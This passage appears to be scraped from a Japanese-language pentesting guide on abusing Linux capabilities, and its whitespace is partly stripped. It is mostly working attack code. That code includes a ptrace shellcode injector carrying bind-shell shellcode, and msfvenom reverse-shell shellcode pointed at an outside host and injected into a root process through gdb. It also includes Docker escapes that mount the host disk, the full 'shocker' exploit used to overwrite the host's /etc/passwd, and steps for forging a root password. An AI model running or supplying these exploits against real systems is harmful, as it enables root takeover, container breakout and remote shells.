# Code to demonstrate the interaction of different capability sets might look like this:# Note: This is pseudo-code for illustrative purposes only.defmanage_capabilities(process):if process.has_capability('cap_setpcap'):process.add_capability_to_set('CapPrm', 'new_capability')process.limit_capabilities('CapBnd')process.preserve_capabilities_across_execve('CapAmb')
cat/proc/1234/status|grepCapcat/proc/$$/status|grepCap#This will print the capabilities of the current process
このコマンドはほとんどのシステムで5行を返すべきです。
CapInh = 継承された能力
CapPrm = 許可された能力
CapEff = 実効能力
CapBnd = バウンディングセット
CapAmb = アンビエント能力セット
#These are the typical capabilities of a root owned process (all)CapInh:0000000000000000CapPrm:0000003fffffffffCapEff:0000003fffffffffCapBnd:0000003fffffffffCapAmb:0000000000000000
# Simplecap_sys_ptracedevelopercap_net_rawuser1# Multiple capablitiescap_net_admin,cap_net_rawjrnetadmin# Identical, but with numeric values12,13jrnetadmin# Combining names and numericscap_sys_admin,22,25jrsysadmin
/** Test program for the ambient capabilities** compile using:* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c* Set effective, inherited and permitted capabilities to the compiled binary* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient** To get a shell with additional caps that can be inherited do:** ./ambient /bin/bash*/#include<stdlib.h>#include<stdio.h>#include<string.h>#include<errno.h>#include<sys/prctl.h>#include<linux/capability.h>#include<cap-ng.h>staticvoidset_ambient_cap(int cap) {int rc;capng_get_caps_process();rc =capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);if (rc) {printf("Cannot add inheritable cap\n");exit(2);}capng_apply(CAPNG_SELECT_CAPS);/* Note the two 0s at the end. Kernel checks for these */if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap,0,0)) {perror("Cannot set cap");exit(1);}}voidusage(constchar* me) {printf("Usage: %s [-c caps] new-program new-args\n", me);exit(1);}int default_caplist[]= {CAP_NET_RAW,CAP_NET_ADMIN,CAP_SYS_NICE,-1};int*get_caplist(constchar* arg) {int i =1;int* list =NULL;char* dup =strdup(arg),* tok;for (tok =strtok(dup,","); tok; tok =strtok(NULL,",")) {list =realloc(list, (i +1) *sizeof(int));if (!list) {perror("out of memory");exit(1);}list[i -1] =atoi(tok);list[i] =-1;i++;}return list;}intmain(int argc,char** argv) {int rc, i, gotcaps =0;int* caplist =NULL;int index =1; // argv index for cmd to startif (argc <2)usage(argv[0]);if (strcmp(argv[1],"-c")==0) {if (argc <=3) {usage(argv[0]);}caplist =get_caplist(argv[2]);index =3;}if (!caplist) {caplist = (int* ) default_caplist;}for (i =0; caplist[i] !=-1; i++) {printf("adding %d to ambient list\n", caplist[i]);set_ambient_cap(caplist[i]);}printf("Ambient forking shell\n");if (execv(argv[index], argv + index))perror("Cannot exec");return0;}
cp/etc/passwd./#Create a copy of the passwd fileopensslpasswd-1-saltabcpassword#Get hash of "password"vim./passwd#Change roots passwords of the fake passwd file
そして、パスワード「password」を使用して**su as root**を実行できるようになります。
環境の例(Dockerブレイクアウト)
Dockerコンテナ内で有効な能力を確認するには、次のコマンドを使用します:
capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
内部の出力には、SYS_ADMIN能力が有効になっていることが示されています。
マウント
これにより、dockerコンテナはホストディスクをマウントし、自由にアクセスすることができます:
fdisk-l#Get disk nameDisk/dev/sda:4GiB,4294967296bytes,8388608sectorsUnits:sectorsof1*512=512bytesSectorsize (logical/physical): 512 bytes / 512 bytesI/Osize (minimum/optimal): 512 bytes / 512 bytesmount/dev/sda/mnt/#Mount itcd/mntchroot./bash#You have a shell inside the docker hosts disk
#Like in the example before, the first step is to mount the docker host diskfdisk-lmount/dev/sda/mnt/#Then, search for open ports inside the docker hostnc-v-n-w2-z172.17.0.11-65535(UNKNOWN) [172.17.0.1] 2222 (?) open#Finally, create a new user inside the docker host and use it to access via SSHchroot/mnt/adduserjohnsshjohn@172.17.0.1-p2222
import ctypesimport sysimport struct# Macros defined in <sys/ptrace.h># https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT =4PTRACE_GETREGS =12PTRACE_SETREGS =13PTRACE_ATTACH =16PTRACE_DETACH =17# Structure defined in <sys/user.h># https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclassuser_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type.libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]libc.ptrace.restype = ctypes.c_uint64# Attach to the processlibc.ptrace(PTRACE_ATTACH, pid, None, None)registers=user_regs_struct()# Retrieve the value stored in registerslibc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: "+hex(registers.rip))print("Injecting Shellcode at: "+hex(registers.rip))# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.cshellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
# Inject the shellcode into the running process byte by byte.for i inxrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointerregisters.rip=registers.rip+2# Set the registerslibc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: "+hex(registers.rip))# Detach from the process.libc.ptrace(PTRACE_DETACH, pid, None, None)
バイナリの例 (gdb)
gdb と ptrace 権限:
/usr/bin/gdb = cap_sys_ptrace+ep
msfvenomを使用して、gdb経由でメモリに注入するシェルコードを作成します。
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.pybuf = b""buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"buf += b"\x0f\x05"# Divisible by 8payload = b"\x90"* (8-len(buf)%8 ) + buf# Change endianess and print gdb lines to load the shellcode in RIP directlyfor i inrange(0, len(buf), 8):chunk = payload[i:i+8][::-1]chunks ="0x"for byte in chunk:chunks += f"{byte:02x}"print(f"set {{long}}($rip+{i}) = {chunks}")
ルートプロセスをgdbでデバッグし、以前に生成されたgdbの行をコピー&ペーストします:
# In this case there was a sleep run by root## NOTE that the process you abuse will die after the shellcode/usr/bin/gdb-p $(pgrepsleep)[...](gdb) set{long}($rip+0) =0x296a909090909090(gdb) set{long}($rip+8) =0x5e016a5f026a9958(gdb) set{long}($rip+16) =0x0002b9489748050f(gdb) set{long}($rip+24) =0x48510b0e0a0a2923(gdb) set{long}($rip+32) =0x582a6a5a106ae689(gdb) set{long}($rip+40) =0xceff485e036a050f(gdb) set{long}($rip+48) =0x6af675050f58216a(gdb) set{long}($rip+56) =0x69622fbb4899583b(gdb) set{long}($rip+64) =0x8948530068732f6e(gdb) set{long}($rip+72) =0x050fe689485752e7(gdb) cContinuing.process207009isexecutingnewprogram:/usr/bin/dash[...]
capsh--printCurrent: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root
capsh--printCurrent: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits:00/0x0/1'b0secure-noroot: no (unlocked)secure-no-suid-fixup: no (unlocked)secure-keep-caps: no (unlocked)uid=0(root)gid=0(root)groups=0(root)
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
// gcc shocker_write.c -o shocker_write
// ./shocker_write /etc/passwd passwd
struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
perror(msg);
exit(errno);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
char buf[0x1000];
int fd1, fd2;
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};
fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
read(0, buf, 1);
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");
fprintf(stderr, "[!] Got a final handle!\n");
dump_handle( & h);
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
FILE * fptr;
ssize_t read;
fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
In order to scape the docker container you could download the files /etc/shadow and /etc/passwd from the host, add to them a new user, and use shocker_write to overwrite them. Then, access via ssh.
#Find every file writable by a group
find / -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file writable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \; 2>/dev/null
#Find every file readable by a group in /etc with a maxpath of 1
find /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \; 2>/dev/null
import ctypes, sys
#Load needed library
#You can find which library you need to load checking the libraries of local setcap binary
# ldd /sbin/setcap
libcap = ctypes.cdll.LoadLibrary("libcap.so.2")
libcap.cap_from_text.argtypes = [ctypes.c_char_p]
libcap.cap_from_text.restype = ctypes.c_void_p
libcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p]
#Give setuid cap to the binary
cap = 'cap_setuid+ep'
path = sys.argv[1]
print(path)
cap_t = libcap.cap_from_text(cap)
status = libcap.cap_set_file(path,cap_t)
if(status == 0):
print (cap + " was successfully added to " + path)
# Create a block special file for the host device
mknod /dev/sdb b 8 16
# Set read and write permissions for the user and group
chmod 660 /dev/sdb
# Add the corresponding standard user present on the host
useradd -u 1000 standarduser
# Switch to the newly created user
su standarduser
ホストに戻る:
# Locate the PID of the container process owned by "standarduser"
# This is an illustrative example; actual command might vary
ps aux | grep -i container_name | grep -i standarduser
# Assuming the found PID is 12345
# Access the container's filesystem and the special block device
head /proc/12345/root/dev/sdb